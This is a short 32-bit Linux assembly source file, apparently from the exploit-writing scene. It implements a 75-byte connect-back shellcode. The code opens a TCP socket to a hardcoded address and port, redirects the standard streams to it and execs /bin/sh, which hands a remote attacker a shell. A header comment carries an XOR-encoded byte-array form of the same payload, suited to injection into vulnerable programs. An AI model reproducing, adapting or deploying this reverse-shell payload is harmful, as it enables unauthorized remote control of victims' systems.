/* cback.s
 *
 * a linux connect-back eggcode
 *
 * see /usr/src/linux/net/socket.c and include/linux/net.h
 *
 * 0x4B (75) bytes if i can sum up! :]
 *
 * 32bits asm!
 *
 * eldre8
 */

/* k=0x33 c^=(k++);
0x02,0xEF,0x04,0xF6,0x64,0x7B,0x6A,0x50,0x39,0xB5,\
0xDC,0x8E,0x59,0x8D,0xC1,0x06,0x2B,0x3B,0x45,0x46,\
0x46,0x2E,0x21,0x50,0x41,0x2A,0x27,0x4C,0xC6,0xB1,\
0xE2,0x51,0x39,0x44,0x04,0x06,0xDE,0xB9,0xE9,0x3C,\
0x96,0xDC,0xDA,0x87,0x04,0x29,0xD1,0x5D,0xAE,0xE4,\
0x10,0x9F,0x36,0xE1,0x8B,0x02,0x05,0x43,0x1E,0x06,\
0x07,0x5F,0x5E,0x10,0x1A,0xFD,0x96,0x27,0x24,0xF1,\
0x98,0xCA,0x70,0xB1,0xFD,
*/

.text
.globl _gogogo

_gogogo:
    xorl    %ebx, %ebx
    xorl    %eax, %eax
_socket:
    pushl   %ebx    /* NULL, and next IPPROTO_TCP */
    inc     %ebx    /* SYS_SOCKET */
    push    %ebx /* SOCK_STREAM */
    push    $2  /* AF_INET */
    movl    %esp, %ecx
    movb    $102, %al
    int     $0x80

_sin:
    /*dec     %ebx
    push    %ebx * NULL */
    inc     %esp /* arrive at 0(nearly) cause of AF_INET :p <=> push NULL */
    //pushl   $0x0100007f
    pushl   $0x1c12043e
    // 2x pushw = 1 pushl, gain: 2bytes mais il y a un 0 alors!
    pushw   $0x0a1a /* sin_port */
    pushw   $2  /* unsigned short sin_family */
    movl    %esp, %ecx

_connect:
    movb    $3, %bl    /* SYS_CONNECT */
    pushl   $16     /* sizeof */
    push    %ecx    /* sin */
    push    %eax    /* socket */
    movl    %esp, %ecx
    movb    $102, %al
    int     $0x80

_dup:
    xchg    %ebx, %ecx
    pop     %ebx
 _dup2:
    dec     %ecx
    movb    $63, %al
    int     $0x80
    jnz     _dup2

_execve:
    push    %ecx
    mov     %esp, %edx
    push    $0x68732f6e
    push    $0x69622f2f
    mov     %esp, %ebx
    push    %ecx
    push    %ebx
    mov     %esp, %ecx
    movb    $11, %al
    int     $0x80

